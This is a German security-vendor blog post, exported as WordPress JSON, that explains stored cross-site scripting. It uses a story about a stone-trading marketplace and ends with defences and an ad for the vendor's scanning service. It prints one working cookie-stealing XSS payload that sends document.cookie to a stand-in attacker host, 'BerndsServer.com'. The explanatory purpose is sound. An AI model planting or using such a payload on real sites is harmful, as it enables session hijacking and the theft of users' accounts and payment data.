{"id":961,"date":"2018-02-16T12:58:51","date_gmt":"2018-02-16T12:58:51","guid":{"rendered":"http:\/\/enginsight.com\/?p=961"},"modified":"2023-03-15T09:07:49","modified_gmt":"2023-03-15T08:07:49","slug":"cross-site-scripting-oder-wie-einfach-hacker-ihre-kundendaten-stehlen","status":"publish","type":"post","link":"https:\/\/enginsight.com\/de\/blog\/cross-site-scripting-oder-wie-einfach-hacker-ihre-kundendaten-stehlen\/","title":{"rendered":"Cross-Site-Scripting oder: Wie einfach Hacker Ihre Kundendaten stehlen!"},"content":{"rendered":"<p><em>Erst vor einigen Wochen ging wieder ein gro&#xDF;er Fall durch die Medien:&#xA0;&#x201E;Kreditkartendaten von bis zu 40.000 K&#xE4;ufern kopiert&#x201C; <sup><a href=\"#1-golem\">1<\/a><\/sup>. Im Mittelpunkt: Der Smartphone Hersteller OnePlus. Das von OnePlus eingesetzte Shopsystem Magento war wohl anf&#xE4;llig f&#xFC;r das sogenannte Cross-Site-Scripting. Dadurch waren die Angreifer in der Lage Kreditkartennummern, G&#xFC;ltigkeitsdatum und den meist dreistelligen Sicherheitscode abzufangen.<\/em><\/p>\n\n\n\n<p>Den Begriff&#xA0;<strong>Cross-Site-Scripting<\/strong>&#xA0;(oder kurz:&#xA0;<strong>XSS<\/strong>) h&#xF6;rt man in letzter Zeit immer h&#xE4;ufiger im Zusammenhang mit Sicherheitsupdates oder eben geklauten Daten. Auch die OWASP (erfahren Sie&#xA0;hier&#xA0;mehr &#xFC;ber das OWASP Projekt) nennt Cross-Site-Scripting in ihrem renommierten &#x201E;Top 10&#x201C;-Bericht als eine der h&#xE4;ufigsten und schwerwiegendsten Sicherheitsl&#xFC;cken.<\/p>\n\n\n\n<p> Darum pr&#xFC;fen wir bei Enginsight jetzt auch auf diese Sicherheitsl&#xFC;cke. Doch was ist Cross-Site-Scripting eigentlich genau? Hier erfahren Sie alles, was Sie zu dem Thema wissen m&#xFC;ssen:<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"wiefunktioniertcrosssitescripting\">Wie funktioniert Cross-Site-Scripting?<\/h2>\n\n\n\n<p>Um die Funktionsweise von Cross-Site-Scripting zu verstehen, m&#xFC;ssen wir kurz ausholen und &#xFC;ber HTML und JavaScript reden.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"kurzerexkursinhtml\">Kurzer Exkurs in HTML<\/h3>\n\n\n\n<p>Die Grundlage des Internets sind&#xA0;<em>HTML-Dateien<\/em>. HTML steht f&#xFC;r &#x201E;Hypertext Markup Language&#x201C;. HTML-Dateien bestehen aus dem ganz normalen Text, den der Besucher der Webseite sehen soll. Au&#xDF;erdem enthalten sie Code, der z.B. angibt, was eine &#xDC;berschrift ist oder was fett angezeigt werden soll. <\/p>\n\n\n\n<p>HTML-Elemente werden durch so genannte&#xA0;<em>Tags<\/em>&nbsp;markiert. Ein HTML Dokument f&auml;ngt an mit dem Tag &lt;html&gt; und endet mit dem Tag &lt;\\html&gt;. Alles was zwischen diesen Klammern steht wird als Befehl betrachtet. Dann gibt es noch das Tag &lt;head&gt;, das &bdquo;Kopfdaten&ldquo; (Header) wie z.B. den Titel enth&auml;lt und das Tag &lt;body&gt; f&uuml;r den eigentlichen Textinhalt. <\/p>\n\n\n\n<p>Wenn man den Text bearbeiten, also z.B. einen Satz fett anzeigen lassen m&ouml;chte, kann man ein &lt;b&gt; Tag benutzen. Das Ganze k&ouml;nnte dann so aussehen:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;html&gt;\n\n&lt;head&gt;\n&lt;title&gt; Hier kommt der Titel hin &lt;\/title&gt;\n&lt;\/head&gt;\n\n&lt;body&gt;\n&lt;b&gt; Dieser Text wird fett gedruckt. &lt;\\b&gt;\n&lt;\/body&gt;\n\n&lt;\\html&gt;\n<\/code><\/pre>\n\n\n\n<p>Dem Nutzer der Seite w&#xFC;rde dann angezeigt werden:&#xA0;<strong>Dieser Text wird fett gedruckt<\/strong>. Die spitzen Klammern zeigen also immer an: &#x201E;Achtung hier kommt Befehlcode!&#x201C;.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"javascript\">JavaScript<\/h3>\n\n\n\n<p>So weit so gut. Das hat auch eine Zeit lang alles super funktioniert. Dann allerdings erfand jemand JavaScript. JavaScript ist eine Programmiersprache, die quasi in mitten von Webseiten sitzt. Mit dem Tag &lt;script&gt; wird signalisiert, dass jetzt ein JavaScript-Teil beginnt und mit dem Tag &lt;\\script&gt;, dass er endet. <\/p>\n\n\n\n<p>Das Interessante ist nun, dass alles was innerhalb dieser Script-Klammern steht nicht (oder nicht zwangsl&#xE4;ufig) vom Benutzer der Webseite gesehen wird. Alles passiert im Hintergrund. Man hat eine komplett separierte Programmiersprache an der Hand, mit der man z.B. Berechnungen ausf&#xFC;hren k&#xF6;nnte, wie &#x201E;5+6&#x201C;:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;html&gt;\n&lt;script&gt;\n\nvar x = 5;\nvar y = 6;\nvar z = x+y;\n\n&lt;\\script&gt;\n&lt;\\html&gt;&nbsp;<\/code><\/pre>\n\n\n\n<p><a style=\"background-image: url('img\/anchor.gif'); outline: none;\" name=\"beispiel\"><\/a>Das, was uns dieses Script als Ergebnis liefert, k&#xF6;nnten wir dann z.B. wiederrum in die Webseite schreiben. Aber das ist nat&#xFC;rlich nicht alles, was wir mit JavaScript anstellen k&#xF6;nnen.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"crosssitescriptingambeispielerklrt\">IT-Sicherheit: Cross-Site-Scripting am Beispiel erkl&#xE4;rt<\/h2>\n\n\n\n<p>Denken wir uns nun also eine Web Anwendung aus. Zum Beispiel eine Plattform, auf der Benutzer gebrauchte Steine kaufen und verkaufen k&#xF6;nnen. Nat&#xFC;rlich ist jegliche Kommunikation verschl&#xFC;sselt und der <strong>Web Server<\/strong>, auf dem die Anwendung l&#xE4;uft, ist durch eine<strong> Firewall gesch&#xFC;tzt<\/strong>. Ein Benutzer Herbert m&#xF6;chte nun z.B. einen gebrauchten Pflasterstein verkaufen. Herbert muss sich f&#xFC;r diesen Vorgang einloggen. Seine Session ID wird in einem &#x201E;Cookie&#x201C; gespeichert. Was genau eine Session ID ist und wof&#xFC;r sie verwendet wird, k&#xF6;nnen Sie&#xA0;hier&#xA0;unter dem Abschnitt &#x201E;Session Prediction&#x201C; nachlesen.<\/p>\n\n\n\n<p>Herbert sendet nun eine <strong>Anfrage an den Server<\/strong>, um die Web Anwendung (also die Steine-B&#xF6;rse) zu starten und erh&#xE4;lt eine Liste an Angeboten, die schon auf der Serverdatenbank gespeichert sind. Da Herbert aber selber verkaufen m&#xF6;chte, erstellt er einen neuen Eintrag: &#x201E;Schicker Pflasterstein, kaum Gebrauchsspuren, g&#xFC;nstig abzugeben!&#x201C;. Ein Pflasterstein mit wenig Gebrauchsspuren ist in der Community schon etwas Besonderes, deswegen m&#xF6;chte Herbert diesen Aspekt hervorheben und markiert den Abschnitt mit HTML Tags, so dass er fett gedruckt wird:<\/p>\n\n\n\n<p><code>&quot;Schicker Pflasterstein, &lt;b&gt; kaum Gebrauchsspuren &lt;\\b&gt;, g&uuml;nstig abzugeben!&quot;<\/code><\/p>\n\n\n\n<p>Anschlie&#xDF;end gibt er noch eine detaillierte Beschreibung seines Pflastersteins ein. Dieses Angebot schickt er an den Server. Herberts Cookie wird bei jeder Anfrage an den Server mitgeschickt, um ihn als Benutzer Herbert zu authentifizieren. Der Server erh&#xE4;lt Herberts Pflasterstein-Angebot und speichert es in der Datenbank.<\/p>\n\n\n\n<p>Jetzt kommt unser Hacker Bernd ins Spiel. Bernd ist auch ein gelegentlicher Nutzer der Gebrauchte-Steine-B&#xF6;rse. Dabei f&#xE4;llt ihm das neueste Angebot von Herbert auf. Insbesondere, dass ein Teil des Angebots fett gedruckt ist. Daran erkennt Bernd, dass HTML Tags wohl ein erlaubter Input sind, vielleicht hei&#xDF;t das ja, dass jede Art von HTML Tags erlaubt ist. Also erstellt Bernd nun seinerseits ein Angebot.<\/p>\n\n\n\n<p>Er w&#xE4;hlt eine &#xDC;berschrift, die Aufmerksamkeit erzeugt, damit m&#xF6;glichst viele User auf seine Anzeige klicken: &#x201E;4 Diamanten! So gut wie neu! Abzugeben f&#xFC;r nur 1 Euro!!!&#x201C;. Statt einer Beschreibung seines Angebots, gibt er nun JavaScript Code ein:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;script&gt;document.write('&lt;img src=&quot;https:\/\/BerndsServer.com\/grab.jsp?cookie=' + document.cookie + '&quot;&gt;');\n&lt;\/script&gt;Tut mir leid, die Diamanten sind schon verkauft.\n<\/code><\/pre>\n\n\n\n<p><strong>Dieser Code liest das Cookie von jedem User aus, der das Angebot &#xF6;ffnet und sendet es auf Bernds Server.<\/strong> Bernd speichert nun seine b&#xF6;swillige Anzeige auf dem Server der Plattform und muss jetzt nur noch auf Opfer warten.<\/p>\n\n\n\n<p>Die Benutzerin Gisela m&#xF6;chte einen sch&#xF6;nen neuen Stein f&#xFC;r ihre Sammlung kaufen. Daf&#xFC;r schaut sie immer mal wieder auf die Plattform und sieht sich die aktuellen Angebote an. Auch sie muss sich nat&#xFC;rlich daf&#xFC;r einloggen und sich so <strong>gegen&#xFC;ber dem Server authentifizieren<\/strong>. Unter den neuen Angeboten findet sie Herberts Angebot &#x201E;Schicker Pflasterstein,&#xA0;<strong>kaum Gebrauchsspuren<\/strong>, g&#xFC;nstig abzugeben&#x201C;. <\/p>\n\n\n\n<p>Aber leider findet sie auch Bernds verlockendes Cross-Site-Scripting Attacken-Angebot. Sobald Gisela auf dieses Angebot klickt, wird Bernds Script in Giselas Browser ausgef&#xFC;hrt. Es liest ihr Cookie aus und sendet diesen an Bernds Server. Gisela bekommt davon nichts mit, ihr wird nur die Nachricht angezeigt &#x201E;Tut mir leid, die Diamanten sind schon verkauft.&#x201C;<a style=\"background-image: url('img\/anchor.gif');\" name=\"schutz\"><\/a><\/p>\n\n\n\n<p>Bernd kann nun Giselas Cookie in seinen Browser laden und sich damit gegen&#xFC;ber der Plattform als Gisela ausgeben. Er kann z.B. Giselas hinterlegte Kreditkartendaten sehen oder auch Eink&#xE4;ufe auf Giselas Namen ausf&#xFC;hren.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"wiekannichmichschtzen\">Wie kann ich mich sch&#xFC;tzen?<\/h2>\n\n\n\n<p><strong>Anwender<\/strong>&#xA0;k&#xF6;nnen sich z.B. mit dem <strong>Browser Plug-In &#x201E;NoScript&#x201C;<\/strong> zus&#xE4;tzliche Sicherheit verschaffen. NoScript verhindert standardm&#xE4;&#xDF;ig das Ausf&#xFC;hren von JavaScript. Wenn JavaScript f&#xFC;r die Funktion einer Website erforderlich ist und man der Seite vertraut, kann man allerdings auch Ausnahmen hinzuf&#xFC;gen.<\/p>\n\n\n\n<p>Tats&#xE4;chlich sollte aber eigentlich der&#xA0;<strong>Seitenbetreiber<\/strong>&#xA0;f&#xFC;r Sicherheit vor Cross-Site-Scripting sorgen. Nutzereingaben sollten vor der weiteren Verarbeitung immer genau gepr&#xFC;ft werden. Sonderzeichen, wie z. B.&#xA0;<code>&lt;<\/code>&#xA0;k&#xF6;nnen automatisch durch die Zeichenfolge&#xA0;<code>&amp;lt;<\/code>&nbsp;ersetzt werden. Damit wird signalisiert, dass wirklich das Symbol &lt; gemeint ist (wie in 3 &lt; 5) und nicht das Sonderzeichen&nbsp;<code>&lt;<\/code>, welches Code er&#xF6;ffnet. Diesen Vorgang nennt man &#x201E;Escapen&#x201C;. <\/p>\n\n\n\n<p>Allerdings werden dabei oft unabsichtlich L&#xFC;cken gelassen. Denn es gibt noch viel mehr manipulierende Sonderzeichen (z.B.&#xA0;<code>'<\/code>oder&#xA0;<code>\/<\/code>) und man darf kein einziges vergessen. Au&#xDF;erdem gibt es noch ein paar Tricks, die Hacker benutzen. Sie ersetzen Sonderzeichen durch andere valide Zeichenketten und schreiben z.B. anstatt&#xA0;<code>&lt;script&gt;<\/code>&#xA0;Folgendes:&#xA0;<code>\\x3script\\x3<\/code>. Damit w&#xFC;rde Cross-Site-Scripting dann immer noch funktionieren. Das ist auch der Grund, warum Cross-Site-Scripting so h&#xE4;ufig vorkommt, man muss bei der Vorsorge sehr viel beachten.<\/p>\n\n\n\n<p>Deswegen ist es immer gut, die eigene Webseite von Profis checken zu lassen. Wir von&#xA0;<strong>Enginsight<\/strong>&#xA0;pr&#xFC;fen aber nicht nur auf <strong>Cross-Site-Scripting<\/strong>, sondern au&#xDF;erdem noch auf tausende andere Sicherheitsl&#xFC;cken (FREAK, Logjam, Heartbleed, etc.) und Konfigurationsfehler, die zu Gef&#xE4;hrdungen f&#xFC;hren k&#xF6;nnen. Wie z.B. auch potentielle Verst&#xF6;&#xDF;e gegen die DSGVO. <\/p>\n\n\n\n<p><strong>Sie k&#xF6;nnen sich jetzt ganz einfach&#xA0;registrieren&#xA0;und unsere Plattform 14 Tage lang kostenlos testen.<\/strong><\/p>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p><strong>Referenzen:<\/strong><\/p>\n\n\n\n<p id=\"1-golem\">1 &#x2013; Golem.de &#x2013; <em><a href=\"https:\/\/www.golem.de\/news\/magento-kreditkartendaten-von-bis-zu-40-000-oneplus-kaeufern-kopiert-1801-132267.html\" target=\"_blank\" rel=\"noreferrer noopener\">Kreditkartendaten von bis zu 40.000 K&#xE4;ufern kopiert&#x201C;<\/a><\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Erst vor einigen Wochen ging wieder ein gro&#xDF;er Fall durch die Medien:&#xA0;&#x201E;Kreditkartendaten von bis zu 40.000 K&#xE4;ufern kopiert&#x201C; 1. Im Mittelpunkt: Der Smartphone Hersteller OnePlus. Das von OnePlus eingesetzte Shopsystem Magento war wohl anf&#xE4;llig f&#xFC;r das sogenannte Cross-Site-Scripting. Dadurch waren die Angreifer in der Lage Kreditkartennummern, G&#xFC;ltigkeitsdatum und den meist dreistelligen Sicherheitscode abzufangen. Den Begriff&#xA0;Cross-Site-Scripting&#xA0;(oder [&#x2026;]<\/p>\n","protected":false},"author":8,"featured_media":964,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"content-type":"","_eb_attr":"","footnotes":""},"categories":[10],"tags":[],"class_list":["post-961","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-endpoint-netzwerksicherheit"],"_links":{"self":[{"href":"https:\/\/enginsight.com\/de\/wp-json\/wp\/v2\/posts\/961","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/enginsight.com\/de\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/enginsight.com\/de\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/enginsight.com\/de\/wp-json\/wp\/v2\/users\/8"}],"replies":[{"embeddable":true,"href":"https:\/\/enginsight.com\/de\/wp-json\/wp\/v2\/comments?post=961"}],"version-history":[{"count":0,"href":"https:\/\/enginsight.com\/de\/wp-json\/wp\/v2\/posts\/961\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/enginsight.com\/de\/wp-json\/wp\/v2\/media\/964"}],"wp:attachment":[{"href":"https:\/\/enginsight.com\/de\/wp-json\/wp\/v2\/media?parent=961"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/enginsight.com\/de\/wp-json\/wp\/v2\/categories?post=961"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/enginsight.com\/de\/wp-json\/wp\/v2\/tags?post=961"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}